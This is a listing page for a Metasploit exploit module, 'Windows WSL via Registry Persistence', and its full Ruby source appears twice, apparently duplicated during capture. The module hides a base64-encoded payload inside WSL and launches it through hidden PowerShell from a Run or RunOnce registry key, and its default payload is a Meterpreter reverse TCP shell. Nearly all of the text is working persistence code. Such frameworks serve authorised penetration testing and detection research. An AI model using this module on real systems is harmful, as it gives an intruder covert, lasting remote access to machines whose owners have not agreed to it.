Description
This module will install a payload in WSL and execute it at user logon or system startup via the registry value in "CurrentVersion\Run" ...
Basic Information
ID
MSF:EXPLOIT-WINDOWS-PERSISTENCE-WSL-REGISTRY-
Published
Nov 20, 2025 at 18:58
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows WSL via Registry Persistence',
'Description' => %q{
This module will install a payload in WSL and execute it at user
logon or system startup via the registry value in "CurrentVersion\Run"
or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
will ask for the stage, then submit the HTTP fetch request
and when the payload is sent it doesn't execute.
`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Helle', # original writeup
'h00die',
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ARCH_CMD, ARCH_X64],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'DefaultOptions' => {
'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
},
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],
['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-29',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (random by default).']),
])
# overload this to prevent it from trying to do windows things since we're writing to the underlying linux
register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
]
)
end
def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end
def regkey
datastore['REG_KEY']
end
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end
def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'
'HKLM'
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end
def check
# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
vprint_good('Powershell detected on system')
# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?
Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')
end
def install_persistence
root_path = get_root_path
print_status("Root path is #{root_path}")
table = Rex::Text::Table.new(
'Header' => 'WSL',
'Columns' => %w[# Instance_Name State Version Default],
'Rows' => instance_list.map.with_index do |instance, i|
[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]
end
)
print_line table.to_s
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
# write our payload into a file
vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")
b64_payload = Rex::Text.encode_base64(payload.encoded)
bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"
ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""
# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.
resp = cmd_exec(ps_command, nil, 120)
fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?
print_good('Payload wrote successfully')
resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")
fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?
cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""
cmd_reg = generate_cmd_reg
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"
end
def wsl_enabled?
# Powershell output will look like the following:
#
# FeatureName : Microsoft-Windows-Subsystem-Linux
# DisplayName : Windows Subsystem for Linux
# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
# RestartRequired : Possible
# State : Enabled
# CustomProperties :
# ServerComponent\Description : Provides services and environments for running native user-mode Linux
# shells and tools on Windows.
# ServerComponent\DisplayName : Windows Subsystem for Linux
# ServerComponent\Id : 1033
# ServerComponent\Type : Feature
# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
return false unless have_powershell?
cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'
result = cmd_exec(cmd)
return false if result.blank?
# Extract the state line, e.g. "State : Enabled"
if result =~ /^State\s*:\s*(\w+)/i
return Regexp.last_match(1).casecmp('Enabled').zero?
end
false
end
def clean_windows_utf16(str)
# Detect presence of null bytes (\u0000)
if str.include?("\u0000")
# Convert from UTF-16LE to UTF-8
str.encode('UTF-8', 'UTF-16LE')
else
# Return unchanged if itβs already clean
str
end
end
def instance_list
vprint_status('Enumerating WSL Instances')
cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'
# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up
result = clean_windows_utf16(cmd_exec(cmd))
return [] if result.nil?
return [] unless result =~ /NAME\s+STATE\s+VERSION/i
lines = result.lines.map(&:strip).reject(&:empty?)
header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }
return [] if header_index.nil?
data_lines = lines[(header_index + 1)..]
images = []
data_lines.map do |line|
# Handle the default distro marked with '*'
default = line.start_with?('*')
line = line.sub(/^\*\s*/, '') # remove leading "* "
# Split by whitespace but preserve multi-word names
# Example line: "Ubuntu-22.04 Running 2"
name, state, version = line.split(/\s{2,}/)
images.append({
name: name,
state: state,
version: version,
default: default
})
end
images
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows WSL via Registry Persistence',
'Description' => %q{
This module will install a payload in WSL and execute it at user
logon or system startup via the registry value in "CurrentVersion\Run"
or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
will ask for the stage, then submit the HTTP fetch request
and when the payload is sent it doesn't execute.
`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Helle', # original writeup
'h00die',
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ARCH_CMD, ARCH_X64],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'DefaultOptions' => {
'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
},
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],
['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-29',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (random by default).']),
])
# overload this to prevent it from trying to do windows things since we're writing to the underlying linux
register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
]
)
end
def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end
def regkey
datastore['REG_KEY']
end
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end
def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'
'HKLM'
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end
def check
# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
vprint_good('Powershell detected on system')
# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?
Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')
end
def install_persistence
root_path = get_root_path
print_status("Root path is #{root_path}")
table = Rex::Text::Table.new(
'Header' => 'WSL',
'Columns' => %w[# Instance_Name State Version Default],
'Rows' => instance_list.map.with_index do |instance, i|
[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]
end
)
print_line table.to_s
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
# write our payload into a file
vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")
b64_payload = Rex::Text.encode_base64(payload.encoded)
bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"
ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""
# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.
resp = cmd_exec(ps_command, nil, 120)
fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?
print_good('Payload wrote successfully')
resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")
fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?
cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""
cmd_reg = generate_cmd_reg
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"
end
def wsl_enabled?
# Powershell output will look like the following:
#
# FeatureName : Microsoft-Windows-Subsystem-Linux
# DisplayName : Windows Subsystem for Linux
# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
# RestartRequired : Possible
# State : Enabled
# CustomProperties :
# ServerComponent\Description : Provides services and environments for running native user-mode Linux
# shells and tools on Windows.
# ServerComponent\DisplayName : Windows Subsystem for Linux
# ServerComponent\Id : 1033
# ServerComponent\Type : Feature
# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
return false unless have_powershell?
cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'
result = cmd_exec(cmd)
return false if result.blank?
# Extract the state line, e.g. "State : Enabled"
if result =~ /^State\s*:\s*(\w+)/i
return Regexp.last_match(1).casecmp('Enabled').zero?
end
false
end
def clean_windows_utf16(str)
# Detect presence of null bytes (\u0000)
if str.include?("\u0000")
# Convert from UTF-16LE to UTF-8
str.encode('UTF-8', 'UTF-16LE')
else
# Return unchanged if itβs already clean
str
end
end
def instance_list
vprint_status('Enumerating WSL Instances')
cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'
# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up
result = clean_windows_utf16(cmd_exec(cmd))
return [] if result.nil?
return [] unless result =~ /NAME\s+STATE\s+VERSION/i
lines = result.lines.map(&:strip).reject(&:empty?)
header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }
return [] if header_index.nil?
data_lines = lines[(header_index + 1)..]
images = []
data_lines.map do |line|
# Handle the default distro marked with '*'
default = line.start_with?('*')
line = line.sub(/^\*\s*/, '') # remove leading "* "
# Split by whitespace but preserve multi-word names
# Example line: "Ubuntu-22.04 Running 2"
name, state, version = line.split(/\s{2,}/)
images.append({
name: name,
state: state,
version: version,
default: default
})
end
images
end
end